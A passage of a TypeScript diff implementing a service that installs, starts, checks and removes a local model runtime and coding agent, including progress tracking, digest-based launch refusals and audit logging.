code: LocalModelErrorCode, + extra: { vars?: Record<string, string>; detail?: string; nextModel?: { modelId: string; modelLabel: string } } = {} +): LocalModelInstallError { + const next = LOCAL_MODEL_ERROR_NEXT[code]; + return { + code, + message: { + text: LOCAL_MODEL_ERROR_LABELS[code], + ...(extra.vars && Object.keys(extra.vars).length > 0 ? { vars: extra.vars } : {}), + }, + next, + ...(next === 'next-model' && extra.nextModel ? { nextModel: extra.nextModel } : {}), + ...(extra.detail ? { detail: extra.detail } : {}), + }; +} + +/** + * What blocks a session in state `installed`, found live and never stored: another program + * on the port, a runtime that keeps stopping, a model that changed. `undefined` when nothing + * does, which includes a runtime the person stopped. Pure. + */ +export function installedBlocker( + state: LocalModelStateFile, + live: InstallLiveFacts +): LocalModelInstallError | undefined { + if (state.state !== 'installed') return undefined; + if (!live.running && live.portInUse) { + return buildInstallError('port-in-use', { vars: { port: String(state.runtime?.port ?? '') } }); + } + if (!live.running && live.gaveUp) return buildInstallError('runtime-stopped'); + if (live.digest === 'changed') return buildInstallError('model-changed'); + return undefined; +} + /** The actions the server accepts right now: the state row's list narrowed by what is live. Pure. */ export function allowedActions(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelAction[] { - return notImplemented('allowedActions', state, live); + const actions = INSTALL_STATE_TABLE[state.state].actions; + if (state.state !== 'installed') return [...actions]; + const blocked = installedBlocker(state, live) !== undefined; + return actions.filter((action) => { + if (action === 'start') return !live.running; + if (action === 'stop') return live.running; + if (action === 'start-session') return live.running && !blocked; + return true; + }); +} + +/** How far a download is, as the window prints it. Pure. */ +function buildProgress( + progress: { completedBytes: number; totalBytes: number }, + bytesPerSecond: number | undefined +): LocalModelProgress { + const view: LocalModelProgress = { + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + completedGb: formatGb(progress.completedBytes), + totalGb: formatGb(progress.totalBytes), + }; + if (bytesPerSecond !== undefined && Number.isFinite(bytesPerSecond) && bytesPerSecond >= 0) { + view.bytesPerSecond = Math.round(bytesPerSecond); + view.mbPerSecond = String(Math.round(bytesPerSecond / 1_000_000)); + const left = progress.totalBytes - progress.completedBytes; + if (bytesPerSecond > 0 && left >= 0) view.secondsLeft = Math.ceil(left / bytesPerSecond); + } + return view; } /** The `install` object of the GET. Pure: every size text comes from `formatGb()`, every sentence from `LOCAL_MODEL_INSTALL_LABELS`. */ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelInstallView { - return notImplemented('buildInstallView', state, live); + const runtimeDownload = live.runtimeInstalled ? 0 : live.pin.bytes; + const view: LocalModelInstallView = { + state: state.state, + running: live.running, + developerTools: live.developerTools, + runtime: { + version: live.pin.version, + installed: live.runtimeInstalled, + downloadBytes: runtimeDownload, + downloadGb: formatGb(runtimeDownload), + unpackedGb: formatGb(live.pin.unpackedBytes), + }, + folder: live.folder, + actions: allowedActions(state, live), + }; + if (state.state === 'idle') return view; + + if (state.model) { + view.model = { id: state.model.id, label: state.model.label }; + view.context = state.model.context; + } + if (state.cli) { + view.cli = state.cli.id; + view.cliLabel = state.cli.label; + } + if (state.runtime) view.port = state.runtime.port; + + if (state.state === 'installed') { + if (state.loaded) { + view.loaded = { + context: state.loaded.context, + memoryBytes: state.loaded.sizeBytes, + memoryGb: formatGb(state.loaded.sizeBytes), + onGpu: state.loaded.sizeVramBytes === state.loaded.sizeBytes, + }; + } + if (state.connection) view.endpointId = state.connection.endpointId; + const blocker = installedBlocker(state, live); + if (blocker) view.error = blocker; + return view; + } + + if (state.step) view.step = state.step; + if (state.steps) view.steps = [...state.steps]; + // A download whose total is not known yet has nothing to show. + if (state.progress && state.progress.totalBytes > 0) { + view.progress = buildProgress(state.progress, state.state === 'installing' ? live.bytesPerSecond : undefined); + } + if (state.state === 'failed' && state.error) { + view.error = buildInstallError(state.error.code, { + vars: state.error.vars, + detail: state.error.detail, + nextModel: live.nextModel, + }); + } + return view; +} + +/** A sentence of the install as plain English text, its slots filled. For an API error message and the log. Pure. */ +export function formatInstallMessage(message: LocalModelInstallMessage): string { + const vars = message.vars ?? {}; + return message.text.replace(/\{([a-zA-Z]+)\}/g, (slot, key: string) => + Object.prototype.hasOwnProperty.call(vars, key) ? vars[key] : slot + ); } // ---------- The service ---------- @@ -431,6 +707,8 @@ export interface LocalModelServiceDeps { verifyModel: (target: OllamaTarget, modelId: string, context: number, signal?: AbortSignal) => Promise<VerifyResult>; readModelDigest: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise<string | undefined>; listOpenAiModels: (target: OllamaTarget, signal?: AbortSignal) => Promise<string[]>; + listRunning: (target: OllamaTarget, signal?: AbortSignal) => Promise<OllamaPsModel[]>; + getRuntimeVersion: (target: OllamaTarget, signal?: AbortSignal) => Promise<string | undefined>; deleteModel: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise<boolean>; // src/local-model/developer-tools.ts checkDeveloperTools: () => Promise<LocalModelDeveloperTools>; @@ -445,14 +723,21 @@ export interface LocalModelServiceDeps { // src/local-model/connect.ts connectLocalModel: (input: ConnectLocalModelInput) => Promise<ConnectResult>; moveLocalEndpoint: (port: number) => Promise<void>; + /** Puts our endpoint record back when it is gone (after a config-backup restore). True when it was added. */ + ensureLocalEndpoint: (input: LocalEndpointInput) => Promise<boolean>; disconnectLocalModel: (input: { flagWasEnabled: boolean }) => Promise<void>; + /** Whether a saved endpoint already has the reserved id (asked before a first install, so the answer comes before the download). */ + isEndpointIdTaken: () => Promise<boolean>; // src/local-model/state-store.ts readState: () => Promise<LocalModelStateFile>; mutateState: ( fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined ) => Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }>; pin: LocalModelRuntimePin; - paths: LocalModelPaths; + /** Default `localModelPaths(pin.version)`, built when it is first needed. */ + paths?: LocalModelPaths; + /** The clock of the progress throttle and the digest re-read, in milliseconds. */ + now: () => number; } /** The install as the routes and the server see it. One per process. */ @@ -462,13 +747,20 @@ export interface LocalModelService { /** * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the - * error that refuses the launch, in this order: `runtime-not-running` (the runtime child - * Codeman started is not alive, so whatever answers on the port is not ours), - * `port-in-use`, `runtime-stopped`, `model-changed` (the digest is read again and is not the - * stored one). The session launch path asks this before it starts a session with the - * managed endpoint, and `boot()` asks it once. Never throws. + * error that refuses the launch. While the runtime child Codeman started is not alive + * (whatever answers on the port then is not ours), the reason is the one that is known: + * `port-in-use`, `runtime-stopped`, else `runtime-not-running`. While it runs, the digest is + * read again: `model-changed` when it is not the stored one or the model is gone. The session + * launch path asks this before it starts a session with the managed endpoint. Never throws. */ launchRefusal(endpointId: string): Promise<LocalModelInstallError | undefined>; + /** + * `launchRefusal()` as one plain English sentence, plus the one check it does not make: on + * the managed endpoint only the model that was installed and checked may be started, so a + * model somebody pulled through the runtime's port is not launched. `undefined`: start it. + * What the session launch paths call. Never throws. + */ + launchRefusalMessage(endpointId: string, modelId: string): Promise<string | undefined>; /** What the GET passes to `recommend()`: the stored measured total and the runtime download that is still needed. */ recommendOptions(): Promise<RecommendOptions>; /** `POST /api/local-model/install`. Answers once the job is STARTED; the job runs on in the server. */ @@ -481,28 +773,1082 @@ export interface LocalModelService { runtime(request: LocalModelRuntimeRequest): Promise<LocalModelVerbResult>; /** * `DELETE /api/local-model`. `liveSessionNames` is what `sessionNamesUsingEndpoint()` found: - * not empty answers 409 `sessions-open`. Else: stop the runtime, remove our endpoint record, - * restore the settings flag when this feature switched it on and no other endpoint is left, - * delete the runtime and the private home and (when asked) the models. The coding agent stays. + * not empty answers 409 `sessions-open` while a connection of ours exists. Else: stop the + * runtime, remove our endpoint record, restore the settings flag when this feature switched + * it on and no other endpoint is left, delete the runtime and the private home and (when + * asked) the models. The coding agent stays. A refused write of the endpoint store or of the + * settings REJECTS, before any file is deleted. */ - remove(request: LocalModelRemoveRequest, liveSessionNames: readonly string[]): Promise<LocalModelVerbResult>; + remove( + request: LocalModelRemoveRequest, + liveSessionNames: readonly string[], + actor?: LocalModelActor + ): Promise<LocalModelVerbResult>; /** - * Called once when the server starts. An interrupted job becomes `paused`. An installed - * runtime that was not stopped is started (an own orphan on the port is adopted or - * replaced, another listener is `port-in-use`) and the digest is read again. Never throws, - * and never keeps the server from starting. + * Called once when the server starts. An interrupted job becomes `paused`. With a model + * installed: the saved endpoint record is put back when it is gone, a runtime that was not + * stopped is started (an own orphan on the port is adopted or replaced, another listener is + * `port-in-use`) and the digest is read again. Never throws, and never keeps the server + * from starting. */ boot(): Promise<void>; /** Called when the server stops, beside `stopDeepSeekWeb()`: aborts a job in flight (it reads `paused` at the next boot) and stops the runtime. */ shutdown(): Promise<void>; + /** What the runtime supervisor reports through `onChange`: a new pid after a restart, or the budget line. Stored, never thrown. */ + onRuntimeChange(status: RuntimeStatus): void; + /** Resolves once no job is in flight. For `shutdown()` and for tests. */ + idle(): Promise<void>; +} + +/** How often a download's progress is written to the state file. The window reads the live figure, not the file. */ +const PROGRESS_FLUSH_MS = 5_000; +/** How long a digest read stays good for the view. A session launch always reads it again. */ +const DIGEST_RECHECK_MS = 30_000; +/** How long a read of the runtime's listings may take. */ +const RUNTIME_READ_TIMEOUT_MS = 5_000; +/** The window a download speed is measured over when the source reports none. */ +const SPEED_WINDOW_MS = 5_000; +/** How much of an installer's output is kept as the error detail. */ +const INSTALLER_DETAIL_CHARS = 1_000; + +/** How a step ended. */ +type StepOutcome = + | { kind: 'done' } + | { kind: 'cancelled' } + | { kind: 'fail'; code: LocalModelErrorCode; vars?: Record<string, string>; detail?: string; nextModelId?: string }; + +const DONE: StepOutcome = { kind: 'done' }; +const CANCELLED: StepOutcome = { kind: 'cancelled' }; + +const baseUrlOf = (port: number): OllamaTarget => ({ baseUrl: `http://127.0.0.1:${port}` }); + +function conflict( + reason: LocalModelConflict['reason'], + extra: Partial<LocalModelConflict> = {}, + vars?: Record<string, string> +): LocalModelVerbResult { + const text = { + 'job-running': LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning, + 'already-installed': LOCAL_MODEL_INSTALL_LABELS.conflictAlreadyInstalled, + 'size-changed': LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, + 'sessions-open': LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, + 'wrong-state': LOCAL_MODEL_INSTALL_LABELS.conflictWrongState, + }[reason]; + return { ok: false, status: 409, conflict: { reason, message: { text, ...(vars ? { vars } : {}) }, ...extra } }; +} + +/** A supervisor that is built when it is first started, so a server that never installs a model builds none. */ +function lazySupervisor(build: () => RuntimeSupervisor): RuntimeSupervisor { + let instance: RuntimeSupervisor | undefined; + return { + start: (options) => (instance ??= build()).start(options), + stop: async () => { + if (instance) await instance.stop(); + }, + status: () => (instance ? instance.status() : { running: false, restarts: 0, gaveUp: false }), + }; +} + +/** Forgets the cached lookups of a CLI's binaries the way the CLI registry routes do, then probes it again. */ +async function recheckCliInstalledNow(cli: string): Promise<boolean> { + const entry = getCli(cli); + if (!entry) return false; + forgetResolvedCli(cli, entry.discovery.binaries); + const stockAvailability = await probeStockCliAvailability(); + return isCliEntryInstalled(entry, stockAvailability); +} + +class LocalModelServiceImpl implements LocalModelService { + private readonly deps: LocalModelServiceDeps; + /** The one job of this process, while it runs. */ + private job: { controller: AbortController; promise: Promise<void> } | undefined; + /** Verbs run one at a time, so two installs cannot both find the state free. */ + private verbChain: Promise<unknown> = Promise.resolve(); + private recovery: Promise<void> | undefined; + private stopping = false; + /** The download in flight, as last reported. The state file gets it every few seconds. */ + private liveProgress: { completedBytes: number; totalBytes: number; bytesPerSecond?: number } | undefined; + private lastProgressFlush = 0; + private speedSamples: Array<{ at: number; bytes: number }> = []; + /** The last start found another program on the stored port. */ + private portInUse = false; + private digestStatus: 'same' | 'changed' | 'unknown' | undefined; + private digestCheckedAt = 0; + + constructor(deps: Partial<LocalModelServiceDeps>) { + const pin = deps.pin ?? OLLAMA_RUNTIME_PIN; + this.deps = { + readHardware: () => readHardware(), + getCatalog: getLocalModelCatalog, + buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), + recommend, + modelFitsBudget, + isRuntimeInstalled, + ensureRuntimeInstalled, + chooseRuntimePort, + removeLocalModelFiles, + supervisor: lazySupervisor(() => + createRuntimeSupervisor({ pin, paths: this.paths(), onChange: (status) => this.onRuntimeChange(status) }) + ), + pullModel, + verifyModel, + readModelDigest, + listOpenAiModels, + listRunning, + getRuntimeVersion, + deleteModel, + checkDeveloperTools: () => checkDeveloperTools(), + stockInstallCommand, + tryBeginCliInstall, + runInstallCommand, + recheckCliInstalled: recheckCliInstalledNow, + audit: (entry) => appendAdminAudit({ ...entry, detail: entry.detail as Record<string, unknown> | undefined }), + connectLocalModel, + moveLocalEndpoint, + ensureLocalEndpoint, + disconnectLocalModel, + isEndpointIdTaken: async () => + (await readCustomModelHosts(getDataDir())).some((host) => host.id === LOCAL_MODEL_ENDPOINT_ID), + readState: readLocalModelState, + mutateState: mutateLocalModelState, + now: () => Date.now(), + ...deps, + pin, + }; + } + + // ---------- Small helpers ---------- + + private paths(): LocalModelPaths { + return this.deps.paths ?? localModelPaths(this.deps.pin.version); + } + + /** Runs `fn` after every verb that was asked before it. */ + private exclusive<T>(fn: () => Promise<T>): Promise<T> { + const run = this.verbChain.then(fn); + this.verbChain = run.catch(() => {}); + return run; + } + + /** Applies one event to the stored state. False when the reducer refused it. */ + private async dispatch(event: InstallJobEvent): Promise<boolean> { + const { after } = await this.deps.mutateState((current) => { + const next = reduceInstallJob(current, event); + return next === current ? undefined : next; + }); + return after !== undefined; + } + + /** Writes facts a step learned. Never moves the state, and writes nothing once the job's state is gone. */ + private async record(change: (current: LocalModelStateFile) => LocalModelStateFile | undefined): Promise<void> { + await this.deps.mutateState((current) => (current.state === 'idle' ? undefined : change(current))); + } + + /** + * A job the state file still calls `installing` when this process has none is one a restart + * interrupted: it becomes `paused`. Done once, before the first view or verb, whether or not + * `boot()` ran yet. + */ + private recovered(): Promise<void> { + this.recovery ??= this.dispatch({ type: 'restart' }).then( + () => undefined, + (err: unknown) => { + console.warn(`[local-model] Could not read the state at start: ${getErrorMessage(err)}`); + } + ); + return this.recovery; + } + + private async isRuntimeOnDisk(): Promise<boolean> { + try { + return await this.deps.isRuntimeInstalled(this.deps.pin, this.paths()); + } catch { + return false; + } + } + + private errorVars(code: LocalModelErrorCode, state: LocalModelStateFile): Record<string, string> | undefined { + const model = state.model?.label ?? ''; + switch (code) { + case 'port-in-use': + return { port: String(state.runtime?.port ?? RUNTIME_PORT_FIRST) }; + case 'model-not-found': + case 'does-not-fit': + case 'load-failed': + case 'no-tool-call': + case 'probe-unfinished': + return { model }; + case 'harness-failed': + return { cli: state.cli?.label ?? '' }; + case 'endpoint-id-taken': + return { id: LOCAL_MODEL_ENDPOINT_ID }; + default: + return undefined; + } + } + + /** The best model the current recommendation offers that is not `failedId`. */ + private async nextModelId(failedId: string, options?: RecommendOptions): Promise<string | undefined> { + try { + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const rec = this.deps.recommend(hw, catalog, facts, options ?? (await this.recommendOptions())); + const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); + return rows.find((row) => row.modelId !== failedId)?.modelId; + } catch { + return undefined; + } + } + + // ---------- Progress ---------- + + private onProgress(progress: { completedBytes: number; totalBytes: number; bytesPerSecond?: number }): void { + const now = this.deps.now(); + let bytesPerSecond = progress.bytesPerSecond; + if (bytesPerSecond === undefined) { + // The archive download reports bytes only: the speed is what arrived over the last seconds. + this.speedSamples.push({ at: now, bytes: progress.completedBytes }); + while (this.speedSamples.length > 2 && now - this.speedSamples[1].at >= SPEED_WINDOW_MS) + this.speedSamples.shift(); + const first = this.speedSamples[0]; + const elapsed = now - first.at; + if (elapsed >= 1_000 && progress.completedBytes >= first.bytes) { + bytesPerSecond = ((progress.completedBytes - first.bytes) * 1_000) / elapsed; + } + } + this.liveProgress = { + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + ...(bytesPerSecond !== undefined ? { bytesPerSecond } : {}), + }; + if (now - this.lastProgressFlush >= PROGRESS_FLUSH_MS) { + this.lastProgressFlush = now; + void this.flushProgress().catch(() => {}); + } + } + + private async flushProgress(): Promise<void> { + const progress = this.liveProgress; + if (!progress) return; + await this.dispatch({ + type: 'progress', + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + }); + } + + private clearProgress(): void { + this.liveProgress = undefined; + this.speedSamples = []; + this.lastProgressFlush = 0; + } + + // ---------- The runtime ---------- + + /** Starts the runtime on the stored port (a no-op when it runs with this context) and stores what the start learned. */ + private async startRuntime(state: LocalModelStateFile): Promise<RuntimeStartResult> { + if (!state.runtime || !state.model) { + return { ok: false, code: 'runtime-start-failed', detail: 'No port was chosen for the runtime yet.' }; + } + const { port } = state.runtime; + let result: RuntimeStartResult; + try { + result = await this.deps.supervisor.start({ + port, + contextLength: state.model.context, + ...(state.runtime.pid !== undefined ? { previousPid: state.runtime.pid } : {}), + }); + } catch (err) { + result = { ok: false, code: 'runtime-start-failed', detail: getErrorMessage(err) }; + } + this.portInUse = !result.ok && result.code === 'port-in-use'; + if (result.ok) { + const { pid, measuredTotalBytes } = result; + await this.record((current) => + current.runtime + ? { + ...current, + runtime: { + ...current.runtime, + version: this.deps.pin.version, + pid, + ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}), + }, + } + : undefined + ); + } + return result; + } + + private startFailure(result: Extract<RuntimeStartResult, { ok: false }>, state: LocalModelStateFile): StepOutcome { + return { + kind: 'fail', + code: result.code, + vars: this.errorVars(result.code, state), + ...(result.detail ? { detail: result.detail } : {}), + }; + } + + /** Reads the model's digest from the running runtime and compares it with the stored one. */ + private async refreshDigest(state: LocalModelStateFile): Promise<'same' | 'changed' | 'unknown'> { + let current: string | undefined; + if (state.runtime && state.model && this.deps.supervisor.status().running) { + try { + current = await this.deps.readModelDigest( + baseUrlOf(state.runtime.port), + state.model.id, + AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS) + ); + } catch { + current = undefined; + } + } + this.digestStatus = compareModelDigest(state.model?.digest, current); + this.digestCheckedAt = this.deps.now(); + return this.digestStatus; + } + + onRuntimeChange(status: RuntimeStatus): void { + if (!status.running || status.pid === undefined) return; + const { pid, measuredTotalBytes } = status; + void this.record((current) => { + if (!current.runtime) return undefined; + const samePid = current.runtime.pid === pid; + const sameTotal = measuredTotalBytes === undefined || current.runtime.measuredTotalBytes === measuredTotalBytes; + if (samePid && sameTotal) return undefined; + return { + ...current, + runtime: { ...current.runtime, pid, ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}) }, + }; + }).catch(() => {}); + } + + // ---------- The view ---------- + + private async liveFacts(state: LocalModelStateFile): Promise<InstallLiveFacts> { + const status = this.deps.supervisor.status(); + let developerTools: LocalModelDeveloperTools = 'unknown'; + try { + developerTools = await this.deps.checkDeveloperTools(); + } catch { + /* said as unknown: the sentence is not shown */ + } + let nextModel: InstallLiveFacts['nextModel']; + const nextModelId = state.error?.nextModelId; + if (nextModelId) { + try { + const entry = this.deps.getCatalog().models.find((model) => model.id === nextModelId); + if (entry) nextModel = { modelId: entry.id, modelLabel: entry.label }; + } catch { + /* no model is offered then */ + } + } + return { + running: status.running, + gaveUp: status.gaveUp, + portInUse: this.portInUse, + ...(state.state === 'installed' && this.digestStatus ? { digest: this.digestStatus } : {}), + developerTools, + runtimeInstalled: await this.isRuntimeOnDisk(), + ...(this.liveProgress?.bytesPerSecond !== undefined ? { bytesPerSecond: this.liveProgress.bytesPerSecond } : {}), + ...(nextModel ? { nextModel } : {}), + pin: this.deps.pin, + folder: this.paths().root, + }; + } + + async view(): Promise<LocalModelInstallView> { + try { + await this.recovered(); + let state = await this.deps.readState(); + if (state.state === 'installing' && this.liveProgress) { + state = { + ...state, + progress: { + completedBytes: this.liveProgress.completedBytes, + totalBytes: this.liveProgress.totalBytes, + }, + }; + } + if ( + state.state === 'installed' && + this.deps.supervisor.status().running && + this.deps.now() - this.digestCheckedAt >= DIGEST_RECHECK_MS + ) { + // In the background: the window polls every second and must not wait for the runtime. + this.digestCheckedAt = this.deps.now(); + void this.refreshDigest(state).catch(() => {}); + } + return buildInstallView(state, await this.liveFacts(state)); + } catch (err) { + console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`); + return buildInstallView(IDLE_LOCAL_MODEL_STATE, { + running: false, + gaveUp: false, + portInUse: false, + developerTools: 'unknown', + runtimeInstalled: false, + pin: this.deps.pin, + folder: '', + }); + } + } + + async recommendOptions(): Promise<RecommendOptions> { + let measuredTotalBytes: number | undefined; + try { + await this.recovered(); + measuredTotalBytes = (await this.deps.readState()).runtime?.measuredTotalBytes; + } catch { + measuredTotalBytes = undefined; + } + return { + ...(measuredTotalBytes !== undefined ? { measuredTotalBytes } : {}), + runtimeDownloadBytes: (await this.isRuntimeOnDisk()) ? 0 : this.deps.pin.bytes, + }; + } + + async launchRefusal(endpointId: string): Promise<LocalModelInstallError | undefined> { + if (!isLocalModelEndpointId(endpointId)) return undefined; + try { + await this.recovered(); + const state = await this.deps.readState(); + // A record with the reserved id that this feature did not write is not ours to judge. + if (state.connection?.endpointId !== endpointId) return undefined; + const status = this.deps.supervisor.status(); + if (state.state !== 'installed' || !state.runtime || !state.model || !status.running) { + if (this.portInUse) return buildInstallError('port-in-use', { vars: this.errorVars('port-in-use', state) }); + if (status.gaveUp) return buildInstallError('runtime-stopped'); + return buildInstallError('runtime-not-running'); + } + const digest = await this.refreshDigest(state); + if (digest === 'same') return undefined; + if (digest === 'unknown') { + // No digest to compare: either the runtime stopped answering, or the model is gone. + let version: string | undefined; + try { + version = await this.deps.getRuntimeVersion( + baseUrlOf(state.runtime.port), + AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS) + ); + } catch { + version = undefined; + } + if (version === undefined) return buildInstallError('runtime-not-running'); + this.digestStatus = 'changed'; + } + return buildInstallError('model-changed'); + } catch (err) { + console.warn(`[local-model] The launch check failed: ${getErrorMessage(err)}`); + return buildInstallError('runtime-not-running'); + } + } + + async launchRefusalMessage(endpointId: string, modelId: string): Promise<string | undefined> { + const refusal = await this.launchRefusal(endpointId); + if (refusal) return formatInstallMessage(refusal.message); + if (!isLocalModelEndpointId(endpointId)) return undefined; + try { + const state = await this.deps.readState(); + if (state.connection?.endpointId === endpointId && state.model && state.model.id !== modelId) { + return `Only ${state.model.label} is installed on this Mac. Remove it and install another model first.`; + } + } catch { + /* an unreadable state is "nothing of ours": nothing to refuse */ + } + return undefined; + } + + // ---------- Verbs ---------- + + private async answer(): Promise<LocalModelVerbResult> { + return { ok: true, view: await this.view() }; + } + + install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state === 'installed') return conflict('already-installed'); + + // Everything below is checked against what the server itself offers right now, before + // anything is downloaded. + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const options = await this.recommendOptions(); + const rec = this.deps.recommend(hw, catalog, facts, options); + const rows = [rec.pick, ...rec.alternatives].filter((row): row is Candidate => row !== undefined); + const candidate = rows.find((row) => row.modelId === request.modelId); + if (!candidate || candidate.context !== request.context) { + return { ok: false, status: 400, message: 'This model at this context is not offered for this Mac right now.' }; + } + // A row without the list (an older shape) still names its one coding agent in the flat fields. + const harnesses: CandidateHarness[] = candidate.harnesses ?? [ + { cli: candidate.cli, cliLabel: candidate.cliLabel, installed: candidate.cliInstalled }, + ]; + const harness = harnesses.find((row) => row.cli === request.cli); + if (!harness || !catalog.harnesses.some((row) => row.cli === request.cli)) { + return { ok: false, status: 400, message: 'This coding agent is not offered for this model.' }; + } + if (!harness.installed && !this.deps.stockInstallCommand(harness.cli)) { + return { + ok: false, + status: 400, + message: `${harness.cliLabel} is not installed and cannot be installed from here.`, + }; + } + const expectedBytes = candidate.installBytes ?? candidate.downloadBytes + (options.runtimeDownloadBytes ?? 0); + if (request.acknowledgedBytes !== expectedBytes) { + const expectedGb = formatGb(expectedBytes); + return conflict('size-changed', { expectedBytes, expectedGb }, { size: expectedGb }); + } + // Said now, not after the download: a saved endpoint that already has our id and is not ours. + if (!state.connection && (await this.deps.isEndpointIdTaken())) { + return { + ok: false, + status: 400, + message: formatInstallMessage( + buildInstallError('endpoint-id-taken', { vars: { id: LOCAL_MODEL_ENDPOINT_ID } }).message + ), + }; + } + + const started = await this.dispatch({ + type: 'install', + model: { id: candidate.modelId, label: candidate.modelLabel, context: candidate.context }, + cli: { id: harness.cli, label: harness.cliLabel }, + steps: jobSteps({ agentInstalled: harness.installed }), + }); + if (!started) return conflict('wrong-state'); + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_install', + target: candidate.modelId, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { cli: harness.cli, context: candidate.context, bytes: expectedBytes }, + }) + .catch(() => {}); + this.startJob(actor); + return this.answer(); + }); + } + + cancel(): Promise<LocalModelVerbResult> { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state !== 'installing') return conflict('wrong-state'); + const job = this.job; + if (job) { + job.controller.abort(); + await job.promise.catch(() => {}); + } + // The step may have finished the job while it was being interrupted (the connect step + // completes its two writes). Then there is nothing left to pause, and the view says so. + await this.flushProgress().catch(() => {}); + await this.dispatch({ type: 'cancel' }); + this.clearProgress(); + return this.answer(); + }); + } + + resume(request: LocalModelResumeRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state !== 'paused' && state.state !== 'failed') return conflict('wrong-state'); + if (request.newPort === true && state.runtime) await this.changePort(state); + const resumed = await this.dispatch({ type: 'resume' }); + if (!resumed) return conflict('wrong-state'); + this.startJob(actor); + return this.answer(); + }); + } + + /** Chooses another port than the stored one and moves the saved endpoint with it. False when no other port is free. */ + private async changePort(state: LocalModelStateFile): Promise<boolean> { + if (!state.runtime) return false; + const port = await this.deps.chooseRuntimePort({ avoid: [state.runtime.port] }); + if (port === undefined) return false; + // The saved endpoint first: when that write is refused, nothing has changed yet. + if (state.connection) await this.deps.moveLocalEndpoint(port); + await this.record((current) => { + if (!current.runtime) return undefined; + // The stored pid belonged to the old port: it must not make a listener on the new one "ours". + const { pid: _pid, ...runtime } = current.runtime; + return { ...current, runtime: { ...runtime, port } }; + }); + this.portInUse = false; + return true; + } + + runtime(request: LocalModelRuntimeRequest): Promise<LocalModelVerbResult> { + return this.exclusive(async () => { + await this.recovered(); + let state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.state !== 'installed' || !state.runtime) return conflict('wrong-state'); + + if (request.action === 'stop') { + await this.deps.supervisor.stop(); + this.portInUse = false; + await this.record((current) => + current.runtime ? { ...current, runtime: { ...current.runtime, enabled: false } } : undefined + ); + return this.answer(); + } + + if (request.newPort === true) { + // The old child, when one is still alive, holds the old port: it must go first. + await this.deps.supervisor.stop(); + await this.changePort(state); + } + await this.record((current) => + current.runtime ? { ...current, runtime: { ...current.runtime, enabled: true } } : undefined + ); + state = await this.deps.readState(); + const started = await this.startRuntime(state); + if (started.ok) await this.refreshDigest(await this.deps.readState()); + return this.answer(); + }); + } + + remove( + request: LocalModelRemoveRequest, + liveSessionNames: readonly string[], + actor?: LocalModelActor + ): Promise<LocalModelVerbResult> { + return this.exclusive(async () => { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state === 'installing') return conflict('job-running'); + if (state.connection && liveSessionNames.length > 0) { + const sessions = [...liveSessionNames]; + return conflict('sessions-open', { sessions }, { sessions: sessions.join(', ') }); + } + + await this.deps.supervisor.stop(); + // The two writes outside our folder are undone first: when one is refused, nothing was + // deleted yet and the person can try again. + if (state.connection) { + await this.deps.disconnectLocalModel({ flagWasEnabled: state.connection.flagWasEnabled }); + } + const removeModel = request.removeModel === true; + await this.deps.removeLocalModelFiles({ models: removeModel, paths: this.paths() }); + await this.dispatch({ type: 'remove' }); + this.clearProgress(); + this.portInUse = false; + this.digestStatus = undefined; + if (actor) { + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_remove', + target: state.model?.id ?? '', + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { removeModel }, + }) + .catch(() => {}); + } + return this.answer(); + }); + } + + async boot(): Promise<void> { + try { + await this.recovered(); + const state = await this.deps.readState(); + if (state.state !== 'installed' || !state.runtime || !state.model) return; + // The record of the connection can be gone while the model is still installed (a + // config-backup restore of an older endpoint store): it is put back, never replaced. + if (state.connection) { + const restored = await this.deps.ensureLocalEndpoint({ + port: state.runtime.port, + modelId: state.model.id, + context: state.model.context, + }); + if (restored) + console.warn('[local-model] The saved endpoint of the model on this Mac was missing and was put back.'); + } + if (!state.runtime.enabled) return; + const started = await this.startRuntime(state); + if (!started.ok) { + console.warn( + `[local-model] The runtime did not start: ${started.code}${started.detail ? ` (${started.detail})` : ''}` + ); + return; + } + const digest = await this.refreshDigest(await this.deps.readState()); + if (digest === 'changed') { + console.warn('[local-model] The model changed since it was installed. Sessions on it are refused.'); + } + } catch (err) { + console.warn(`[local-model] Start-up check failed: ${getErrorMessage(err)}`); + } + } + + async shutdown(): Promise<void> { + this.stopping = true; + const job = this.job; + // The state file keeps saying `installing`: the next start reads that as a paused job. + job?.controller.abort(); + // The runtime is signalled at once, not after the job let go: the server may exit soon. + const stopped = Promise.resolve() + .then(() => 